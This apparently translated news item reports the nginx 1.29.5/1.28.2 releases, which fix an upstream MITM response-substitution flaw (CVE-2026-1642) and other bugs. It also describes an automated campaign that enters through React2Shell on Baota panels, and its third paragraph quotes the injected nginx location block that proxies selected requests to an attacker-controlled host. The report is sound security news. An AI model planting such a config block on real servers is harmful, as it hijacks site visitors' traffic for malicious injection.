The release of the main branch nginx 1.29.5 has been formed, which continues to develop new features, as well as the parallel support of the stable branch nginx 1.28.2, which only incorporates changes related to fixing serious bugs and vulnerabilities. The updates address a vulnerability (CVE-2026-1642) that allows an attacker with the ability to intercept (MITM) the communication channel between nginx and the upstream server to substitute responses sent to the client. This issue affects configurations that proxy requests (HTTP 1.x, HTTP/2, gRPC, or uWSGI) to an upstream server using TLS encryption.
In addition to the vulnerability in version 1.29.5, the logging level for the SSL error "ech_required" has been reduced from "crit" to "info," and several issues have been resolved: the problem of accessing already freed memory (use-after-free) after switching to the next gRPC or HTTP/2 backend has been fixed; an issue with sending an incorrect HTTP/2 request after switching to the next upstream server has been addressed; the growth of the response size with multiple ranges has been corrected; and the HTTP_HOST variable is now being correctly set when proxying to FastCGI, SCGI, and uwsgi backends.
Additionally, an automated attack has been identified that, after a successful breach, servers is limited by changing the nginx configuration. The breach is executed through the unpatched React2Shell vulnerability in React server components on systems with hosting control panels, such as Baota (BT). Changes made to the nginx configuration redirected requests for served sites to the attacker's server, which injected malicious modifications into the returned response to the user. location /%PATH%/ { set $fullurl "$scheme://$host$request_uri"; rewrite ^/%PATH%/?(.*)$ /index.php?domain=$fullurl&$args break; proxy_set_header Host [Attacker_Domain]; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header X-Forwarded-Proto $scheme; proxy_set_header User-Agent $http_user_agent; proxy_set_header Referer $http_referer; proxy_ssl_server_name on; proxy_pass http://[Attacker_Domain]; }
Thus, instead of installing rootkits or malware on the server, an attack is organized against clients who open the website hosted on the server, without directly altering the components of the site on the server. The attack mainly targets intercepting traffic from domains of Asian countries, as well as *.edu and *.gov domains. Selective requests are redirected through the attackers' server, for example, containing words like "pg", "pgslot", "slot", "game", "casino", "live", "help", "news", "page", "blog", "about", "support", and "info" in their paths. The attack is carried out automatically using tools that search and analyze nginx configurations, select and substitute configuration templates, restart nginx, and check the functionality of the modified version.
Source: opennet.ru
